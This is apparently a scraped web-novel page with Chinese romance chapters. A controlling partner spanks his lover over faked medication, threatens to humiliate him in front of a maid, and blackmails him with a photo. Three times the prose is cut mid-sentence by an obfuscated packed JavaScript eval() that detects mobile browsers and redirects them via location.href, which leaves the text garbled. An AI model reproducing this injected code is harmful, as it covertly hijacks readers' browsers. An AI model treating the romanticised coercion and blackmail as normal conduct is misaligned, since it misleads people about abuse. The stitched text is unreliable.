他抬眼看向那透露了一点灯光的、属于池兰倚的房间。在过去十天里,他曾多次往这个方向看。即使是在梦中,他也知道自己的脑袋应该转向哪个方向。 半阖的门缝里透露出暖光,在这片昏暗的夜色里,它好似海市蜃楼中一点固执的灯塔。 从十天前,他们从湖边庄园回来后,池兰倚就把大部分的时间花费在这里。 最开始的三天,他窝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14809641|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里,在沙发上整天整天地睡觉,或者是似猫一样盘在被子里,闭着眼假寐。就像小动物在遭受意想不到的冲击后,会暂时性地躲在山洞里,逃避外界的一切。 高嵘没有进去打扰他。他也没有去公司。他把电脑放在客厅里办公,上班、下班、解决一切池兰倚突然消失所带来的问题。夜里,他就在那张正对着房间的沙发床上睡觉。 门的这头是他,门的那头是池兰倚。他们如隔着烟雾缭绕的大河,站在各自的彼岸,遥遥相望,沉默不语。河的两岸,或是马走日字象走田的棋盘,或是依依杨柳岸。他像一株大树一样枝繁叶茂,沉默地伫立在那扇有光的大门之外。 但从始至终,池兰倚都没有关上门。他始终留着一条缝隙。 好几次,高嵘深夜醒来,他将房门的缝隙推开。他看着熟睡中的池兰倚,池兰倚被他咬破的唇角已经愈合了。睡眠时,他的唇角平平地放着,像是有复杂的梦在做。 高嵘把被子给池兰倚掖上,又看摆放在池兰倚面前的东西。 高嵘在商场上算无遗策。他有充分的才能,也有几十年的预知。可唯有池兰倚,无论他预知了长达多少年的,他们之间会发生的未来,他也始终没办法掌握池兰倚。 这几天他只要闭上眼,就会想起池兰倚问他,“我是不是又要去看医生了”。 池兰倚是不是真的不知道自己已经重生了呢? 在过去,高嵘愿意把池兰倚当做一个对过去一无所知的人,而池兰倚也表现得确实如此。他可以按捺住大部分的愤怒,仔仔细细地编织一座金色鸟笼,只为了将未来会不听话的鸟儿困住。 池兰倚不知道怎么运营公司,池兰倚不知道怎么照顾自己的生活,没了高嵘,他甚至连找车出门都搞不定。这成功的复仇,足以让燃烧在高嵘心中的、曾被狠狠背叛的愤怒暂且被压制。 他可以冷眼看着自己的恋人、曾经间接害得自己殒命的仇人,变成一个只会依赖他的废物。一想到池兰倚沦为如此,就连晨起时衣服都要靠他帮忙穿,他就暗自满足。 但现实永远不如计划一般发展。高嵘心思缜密,最近一年以来,池兰倚脱口而出的几句梦话、几句不合时宜的台词,早已让他起了疑心。 那个和他闹得分崩离析的池兰倚也重生了。 自从在湖边庄园看见池兰倚和华晏在一起,在昏迷后又说出那样的话后,高嵘愈加确定了这个想法。 池兰倚,真的也重生了。 不知不觉间,手里的画册被高嵘撕裂了一个角。对于同样重生的池兰倚,他有无数次报复想做,无数句话想要质问。 而且他知道,重生的池兰倚绝不是一个废物。池兰倚会和他打官司,池兰倚会爱上其他人,池兰倚会逃离他的掌心,他只能加大报复力度,让池兰倚彻底离不开自己。 可是。 如果池兰倚真的以为,他没有重生呢? 如果池兰倚真的不是假装自己未曾重生,而是真的只看见了一些幻觉片段,以为这是少年时被电击产生的精神问题……那么他对池兰倚加重报复,对池兰倚公平么? 现在,他又该怎么做? 19.吃药 “高先生,晚餐准备好了。”厨师尊敬地说。 “你可以回去了。”高嵘道。 池兰倚不喜欢家里有很多人。因此,高嵘只让厨师和仆人定时地来家里做饭打扫。就连管家也是很早下班,住在他们附近的房子里等候差遣。 于是这间偌大的别墅里很多时候,只有他们两个人。 厨师离开。高嵘看了一眼摆在餐桌上的饭菜,微微一愣。 他忘记家里的菜谱都是提前半个月订好的了。今天的菜单,原本是他为了故意为难报复池兰倚而定下的。 有巫樾那个碍事的家伙在,也不知道他能不能看得出来。高嵘皱眉。他虽然觉得一个巫樾微不足道,但如今他还没想好下一步该怎么做。他向来算无遗策,如果因此横生枝节便不好了。 “好香的味道……你们晚上吃大龙虾啊?吃这么好?” 巫樾拉着池兰倚从房间里出来。他表情一凝,努力让自己不被收买了,小声对池兰倚道:“你们平时吃什么?” 高嵘不会是故意的吧。看见他来调查了,就故意给池兰倚吃好的,好放松自己的戒备心。说不定私底下高嵘整天就给池兰倚吃折耳根。表里不一的男人就这点最坏,否则池兰倚之前怎么会突然问高嵘是不是真心爱他呢。 池兰倚:“昨天吃了帝王蟹,前天吃了星月鳕鱼,大前天吃了一些菌子,我认不出来。” 巫樾:…… 不是吧,吃那么好。恨了。他一个模特周末去聚餐,连tapas都不敢多吃两碟。 而且池兰倚又不是模特,这世上总不能存在一种喂胖设计师来报复他的可能。巫樾想了想又觉得太崎岖了,谁花那么多钱买吃的来报复人,这不是神经病吗。 池兰倚上了桌。手铐的话题过去,缓了两个小时,他没刚才那么紧张害羞了,姿态非常自然。 巫樾还在观察。在他看来,这个餐厅里的一切都正常得不得了。座椅很软,点着的香薰蜡烛也很上等。池兰倚就在这时停止了动作。 来了。高嵘暗中冷眼看着他,心里漫起幽暗的愉悦。 池兰倚看着碟子里几乎完整的大虾,十分为难。他的手指上都是食物汁水,指尖不知道何处用力,满是狼狈。 ——池兰倚根本不会剥虾。这就是高嵘故意弄了这道菜的原因。 他想要剥虾,就得让高嵘帮他。 “高嵘。”池兰倚抬头,眼巴巴地看着他,“你可不可以帮我……” 高嵘一言不发地把池兰倚的盘子拿了过来。 他不会在这个过程中和池兰倚说一句话,只是低着头剥虾。巫樾坐在旁边,一边努力剥壳,一边看着他把剥好的虾拿给池兰倚,眼珠子都要掉了下来。 不是,这虾味道可真鲜啊。巫樾虽然震惊,味蕾却还在幸福地想着。 一场晚饭就在高嵘给池兰倚剥虾中无声地度过。池兰倚和巫樾说了一会儿话,巫樾难以把自己的眼睛从高嵘身上挪开——高嵘不常和池兰倚的朋友们交流,这还是巫樾第一次和高嵘池兰倚一起吃饭。 这哪是那双资本家的手啊! 直到池兰倚吃完了高嵘才开始吃。临下桌前,高嵘打了个电话,让仆人过来收盘子,又对池兰倚说:“别走。” 一句冷冷的话,让巫樾也僵在了原地。 然后他就看着高嵘拿出手帕,擦干净了池兰倚的手。 巫樾:…… 池兰倚低着头笑了。忽然,他抬起头来,亲了一下高嵘的下巴。 眼睛亮闪闪的。 高嵘怔了怔。很快,他低声道:“一嘴胡椒味。” “我又没亲你的嘴巴,你怎么知道有胡椒味?”池兰倚说。 高嵘说:“有。” 池兰倚“哈”了一声,不理他了。 池兰倚转头跑去巫樾那里了。高嵘摸了摸自己的下巴,抿着唇。 直到他看见两个人都进了房间。他才偏过头,自己也没注意到似的,微微地笑了起来。 ——或许,如果池兰倚真的只把这些当做幻觉的话,那么就这样下去,也不错。 高嵘忽然有了个这样的想法。他浑身过电般的,很快阴下了脸,但很快又忍不住似的勾起了唇角。 “行了,是我自作多情了。”巫樾在沙发上大叫,“你们就继续秀你们的恩爱吧,我回家去了。” “你不想多留一会儿吗?”池兰倚说。 “留下来被你们闪瞎狗眼吗?下次吵架再叫我。”巫樾道。 池兰倚去盥洗室了。巫樾一个人坐在房间里。他甩着手里的撬棍,脚下却踩到了两个东西。 啊哦。 是池兰倚的药瓶。 巫樾顺手把那两个药瓶捡起来,手中的触感却让他一惊。这两个药瓶里空空荡荡,一枚药都没有。 可池兰倚上周才去看了医生……巫樾忽然有了个恐怖的想法。 池兰倚不会OD了吧? 在圈子里,会OD的模特和设计师都不在少数。更何况池兰倚这样本来就有长期病史、又成就卓越的,童年时的暗伤和名利圈的一切最能毁掉一个才华横溢又敏感的人。联想到池兰倚少时被治疗的经历,巫樾心中一抽。 “砰。” 池兰倚回来了。巫樾下意识地把药瓶揣进了自己的兜里。 “巫樾,谢谢你来看我。”池兰倚温柔地说。 他的语气空灵、欣悦,像是一个兴高采烈的少年。 巫樾的鸡皮疙瘩却在那一刻冒了起来。 他看向眼前这个房间。柔软的沙发,芬芳的绿植,可爱的毛绒玩偶,具有独特设计感的吊灯,温馨的墙纸和灯光,还有套着毛茸茸的家居服,在里面坐了几天的池兰倚。 一切都像是在向他说一句话。 ——他现在很好,一切都非常正常,甚至比十天前,他问巫樾高嵘爱不爱他前还要正常。生活很温馨,池兰倚的心情也很愉悦。 ——他甚至能像他19岁时背上一个背包一个人跑去国外森林里游玩那样,自由地把其他人仍在他的世界之外,自己窝在房间里的小小世界里。 池兰倚在说,他们现在过得很好。一切都会这样继续下去。 高嵘删掉了一些日程。既然池兰倚把过往都当成幻觉、当成精神疾病的副产物,那他就再也不会纠结这些事了。 他会把和过往有关的一切封存。和池兰倚就这样过下去。他还是会和他一屋两人,一日三餐,一年四季。 关于前世的一些更重的报复,他也不会提了。这对于池兰倚来说不公平。 他没有忘记那份恨意。他会像池兰倚没有重生那样,慢慢地报复他。 但他没想到,巫樾竟然在离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14812225|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开时对他打手势,有话要单独和他说。 高嵘跟着巫樾到别墅之外。巫樾看着他,欲言又止道:“我想了想,这件事只能找你帮忙了。你对他的精神状况有多少了解?” 高嵘皱眉。他忽然有了不好的预感:“什么?” 巫樾道:“你有发现他出现不正常的迹象吗?情绪激动,精神涣散?你知不知道,他可能在OD?” 高嵘愣住了。他的气势变得很恐怖,急切道:“你发现了什么?!” 那种强大的气势差点把巫樾压倒了。巫樾哆哆嗦嗦,从兜里掏出两个药瓶:“他上周才去看心理医生,这周药瓶就空了。你快看看。池兰倚嗑/药,你是他最重要的人,你怎么也不管管啊……” 高嵘一把夺走巫樾手中的药瓶,他完全没有听巫樾在说什么,只是目光紧紧地看着药瓶上的类目。他几乎崩溃地,想要立刻回到别墅里去,但稳定了心神,最终对巫樾说:“谢谢。” “你谢我干嘛,别急着谢我了,赶紧去问问吧。”巫樾快被吓哭了,“这东西吃多了要人命的。圈里又不是没有人因为OD死掉……” 高嵘头脑一片空白。他拿着药瓶,牙齿发抖,只能瞪着它看。忽然间,他看见了药瓶上的一个地方。 “你先走吧。感谢你发现了这个。”高嵘说。 巫樾忙不迭地开车跑了。在他的车离开后,高嵘还一个人站在路灯下。他盯着药物的生产日期,眼神逐渐凝重下来。 三年前。早在两年前,这瓶药就过期了。 一周之前去看医生的话……医生不可能开一堆过期的药。 另一个药瓶也是三年前生产的。高嵘反复看着这两个药瓶,忽然想起池兰倚三年前有段时间很忙,几乎是吃住都在工作室里。高嵘让人把他的很多生活物品都搬进了工作室,而池兰倚是个生活上丢三落四的家伙,很多东西不知道都甩到哪里去。 所以那个时候,在工作结束后,池兰倚就只是一整个人回到了别墅里。之后再吃的药也是重新去开的。 那时候吃完的药瓶应该是扔在工作室的哪个角落里了,没被高嵘或者佣人扔掉。 而一周前,池兰倚在去看心理医生前,以拿东西为由去了工作室一趟。 高嵘的手都在抖。他先给池兰倚的心理医生打电话,但对方的态度很坚决,不愿意透露病人隐私。这个超级专业的心理医生还是高嵘给池兰倚找的,高嵘咬着牙,心想他真是自己坑自己。 但派人去调查那家诊所的药房不难。高嵘一个电话给秘书打过去,让她赶紧给自己查。 秘书说:“高先生,这件事有多急?” 高嵘道:“马上,立刻。” 他把两个药瓶放在衣兜里,大步走回别墅。心跳得很快,一直在抖,不知道是因为害怕池兰倚真的OD,还是憎恨他可能骗了他。池兰倚正好在客厅里摆弄那束百合,在看见高嵘沉着脸、气势汹汹地走过来后,他抬起头来:“你怎么啦?” 高嵘一把推开他,把他扔在了沙发上,随后他大步走进池兰倚的活动室,关上门。 药瓶……药瓶……他把几个活动区翻了个底朝天,还好他足够熟悉池兰倚,甚至比池兰倚还要熟悉他自己,于是很快就在一个豆包沙发底下,看见了藏起来的几枚药瓶。 池兰倚当着他从诊所里带回来的药瓶。 20.老婆 在看清楚那几枚药瓶的生产日期后,高嵘竟然腿一软,整个人都坐到了地上。 这几枚药瓶都标注着三年前的生产日期。 重生以来,高嵘从来没有这么狼狈过。这场景让许幽和高嵘的敌人们看了,只怕都要惊掉下巴。他瘫软在地上,胸口不停起伏,整个人像是刚从水里捞出来一样,有种劫后余生般的体力耗尽,还有在绝望中终于看到了希望。 还好,还好。 池兰倚没有OD。他没有使用药物过量。 房门“砰砰”响个不停,是池兰倚在外面敲门。高嵘抬起绝望的、灰暗的眼,这时候,他的手机响了起来。 “高先生,虽然不知道池先生那天和医生聊过没有、聊了什么、原定的预约有没有取消,但池先生没有从药房里拿药走,这是确定的。”秘书立刻回报,“除此之外,池先生那天在联系寻找可靠的侦探。虽然之后他打消了这个念头,也没有找到人。” 高嵘挂掉了电话。他灰暗的眼里终于有光了,很快,这光化为了熊熊怒火。 从劫后余生的地狱里走出来才会有的熊熊怒火。 池兰倚还在外面拍门。高嵘刚才竟然把他撞开、甩到沙发上,他从来没有被他这么粗暴地对待过,也不知道发生了什么。 池兰倚隐约觉得可能是有一件事露馅了。他一周前是去看了心理医生,但在和她说话之前,产生了强烈的抗拒心理。无论如何,他也不想把自己的“幻觉”说出来。 甚至有一个声音在告诉他,别做梦了,别假装了,那些东西根本不是幻觉。你还要催眠自己吗。 于是他只是简单地和她说了点工作压力之类的问题。医生没有开药,刚好他也不知道怎么去药房拿药。他从自己的大衣里掏出了藏好的、从工作室里拿出来的以前的药瓶,把它们放在袋子里,假装这些东西是刚开的药,然后带回了车上。 之后,他也记得把它们藏在活动室里,而没有收纳在药箱中…… 就在这时,门忽然被打开了。池兰倚失去重心,差点一头栽进房间里,然后他的腹部就被重重地揽住了。 身周被从未有过的恐怖气息包围。那种强烈的愤怒池兰倚从来没有体验过。池兰倚的腿一下子就软了,喉咙里连声音都发不出来。全身的所有感官都在本能地害怕。 他被几乎粗暴地拎起来,重重地扔在沙发上。和沙发的撞击让池兰倚眼冒金星,他说不出来话,刚要颤着手支撑自己坐起来,就被高嵘按住身体,狠狠地被翻了个身。 “高……” 脑袋被一下子按进抱枕里,话都被堵住了。身后的男人一句话也没说,按着他的腰让他该凹的地方凹下去,让该翘的地方翘起来。 甚至还打了一把他的膝盖内侧。 随即。 “啪!” 狠狠的一声。 池兰倚第一时间甚至没感觉到痛感,而是震惊。他难以想象高嵘竟然打了他的那个地方——打了他的屁/股。就像是推翻了无数水杯却从来没有被主人教训过的猫一样,他在抱枕里瞪大了眼睛,愣住了。 而后,火辣辣的痛感才从臀尖传了出来。就在这时。 “啪!” 又是一下。 如果说第一下池兰倚还没反应过来,那么第二下,池兰倚总算被打醒了。池兰倚整个人瘦瘦高高,干巴巴的,也只有屁/股上有那么一点肉。此刻那有弹/性的地方被狠狠地打了一巴掌,凹下去又弹起来,想也不用想,那白皙的地方肯定留下红/痕了。 “啪!” 三个火辣辣的巴掌。池兰倚终于受不了了。他扭动着要把头转过来,对高嵘大叫:“高嵘!放开我!” 始终保持沉默的高嵘在这一刻终于开口了。他的声音几乎是森然的。 “跪好,不准动。” 他直接按住池兰倚的腰,把他的反抗又按了回去。池兰倚正想说话,因为第四个巴掌,话语都变成了哭音。 “呜!” 高嵘从来没有这么对他过。在外面,高嵘总是稳重年长的,运筹帷幄,仿佛能算计一切、也能包容一切。尽管控制欲强大到可怖的地步,但在外人面前,他对池兰倚总是温和有礼的,别说打他,就连和他吵架都很少有。 而在只有他们两个人的时候,高嵘也没这么对待过他。虽然在床/上,高嵘总有些进/攻性过剩,但高嵘从来没有这样子过。 这样按着他,不由分说,像是狠狠惩/罚他似的,打他的屁/股。 “啪!” “啪!” 高嵘又打他又不让他说话。池兰倚委屈着眼圈就红了。高嵘终于在沙发上坐下,让池兰倚横着趴在他的身上,一只手掐着他的下巴,恶狠狠地说:“知道错了吗?” “呜!” 虽然如今能说话了,但池兰倚反而不开口了。他转过头,以一个很别扭的姿势看着高嵘,也恶狠狠的,像是一只被惹毛的猫。但高嵘这回竟然没有惯他,年长的男人又一巴掌打到了他的身上。 “知道错了吗?”高嵘又说。 池兰倚一开始还闭着嘴不肯说话,直到高嵘的语气已经变得冷峻,而且还没有停手的意思,池兰倚终于忍不住,小声哭着开口了:“我不知道……我哪里惹你了?” “不知道?”高嵘扬起手,“不知道就继续打。” 池兰倚觉得自己的屁股一定肿了。他咬着沙发道:“我真的不知道,我做错什么……” 就在这时,门口传来了门铃声。 两个人都一下子想到来的人是谁了。高嵘叫了女仆过来收拾餐盘,她应该这时候到了。池兰倚整个人都紧张了起来,爬着要从高嵘身上下来。一向以内向优雅形象示人的他绝对不想让外人看见自己这个样子。 可高嵘把他按住了。 “我让她进来。”高嵘对池兰倚说,“让刘阿姨也看看,犯了错的小孩就该被打屁股。” 光是想到那个场面,池兰倚整个人都开始抽气了。但高嵘似乎真的打算让刘阿姨进来,他一手就按住池兰倚,另一手去拿手机给对方开门。在听见APP被打开的声音后,池兰倚终于支持不住,喊道:“我认错,我认错!” “态度不积极。错哪儿了?”高嵘道。 人在砧板上,池兰倚这块丰美的鱼肉只能小声说:“我不该骗你,我没有好好吃药……” 高嵘又打了他一下。 “我说!我说!我没有找医生开药,因为我不知道药房在哪里……我骗了你……”池兰倚抽噎道。他把抽噎声压得很低,池兰倚真的对于在别人面前哭这件事很害羞。 可高嵘没有被打动。他的手在池兰倚的身上又按了按。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14818075|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “撒谎。”他说。 池兰倚静了一下。他听见手机里传来正在开门的声音,整个人都要崩溃了。他尖锐道:“高嵘你变/态!你暴/露狂!你没事打我屁/股,没事找事,还给外人看,世界上怎么会有你这么变/态的人!” 高嵘面无表情:“你再说一次。” “你变/态!你打老婆屁/股给外人看……呜……”池兰倚哽/咽着说,“没见过你这样的……怎么会有你这样的人……欺负老婆……你怎么不拿个摄像机过来拍……” 他呜呜呜半天,终于一只手把他翻了过来。池兰倚仰躺在高嵘腿上,他头发凌乱,眼圈发红,眼泪乱七八糟的把睫毛都弄湿了。 池兰倚像是真的被吓到了,也真的受教训了。像他这种和陌生人说话都害羞的人,要是被过来收拾的女仆看见现在这样子,他估计会羞愤得一年都不敢出门。 “骗你的。”高嵘冷冷地说,“我让女仆回去了。刚才的解锁音,是我在假装开其他的门。” 池兰倚一愣,表情有点傻乎乎的。就在这时。 “咔嚓。” 池兰倚听见快门声。他瞪大了眼睛,高嵘竟然给他这时的脸拍了张照。 想也知道现在他看起来到底是什么傻样子。池兰倚伸手去抢高嵘的手机,很急,高嵘却把他的手打开了。 “关于吃药的事情,不准骗我。知道吗?”高嵘冷冷道,“生理的、心理的,都不准骗我。” 他挥挥手机:“你要是敢再骗我,我就把这张照片发出去。” 池兰倚总算知道高嵘发了这前所未有的一大通火是为什么了。他把手臂放在自己的眼睛上,呜呜咽咽,心里在骂他至于吗,不就是几瓶药吗。 高嵘看见他果然是一副没意识到严重性的模样,脸更加冷了:“你既然说你是我老婆,我就该管着你,知道吗?” 说到这里,他又在心里叹了口气。池兰倚现在这幅样子,是真气到,也真被吓到了。 他把池兰倚抱起来,让他埋在自己的怀里。池兰倚躲着他的脸不肯靠在他身上。高嵘注意到池兰倚姿势有点别扭,估计是屁/股还疼着。 “乖,别哭了。”他心想今天欺负池兰倚过分了,“一会儿给你上药。” 池兰倚狠狠咬了他的肩膀一口。猫咬人后就是会平静。池兰倚总算肯趴在他肩膀上了。 “我讨厌你……我讨厌死你了……”池兰倚哭着说。 高嵘愣了愣。他的手臂更加用力了。 “不准讨厌我。”他低声说,“也不准说死。” “不准骗我,也不准瞒着我吃很多药,不准在我看不见的地方做坏事。” 也不准……在我看不见的地方,过得不幸福。 “知道了吗?” 池兰倚脸一别,很明显没把这段话听进去,而是在一味地记仇。 “你管不着我。说得好像你能管我一辈子一样。” 这原本是情侣之间赌气说的一段话。可在这一刻,却触痛了高嵘最深处的神经。 “是啊,我管不着你一辈子。但我现在能把你管到你想跑都跑不掉。池兰倚,你简直无可救药。” “今天,你真的把我惹怒了。你知道惹怒我的人都会付出什么代价吗?” 他阴沉着脸,狠狠地把池兰倚抱了起来。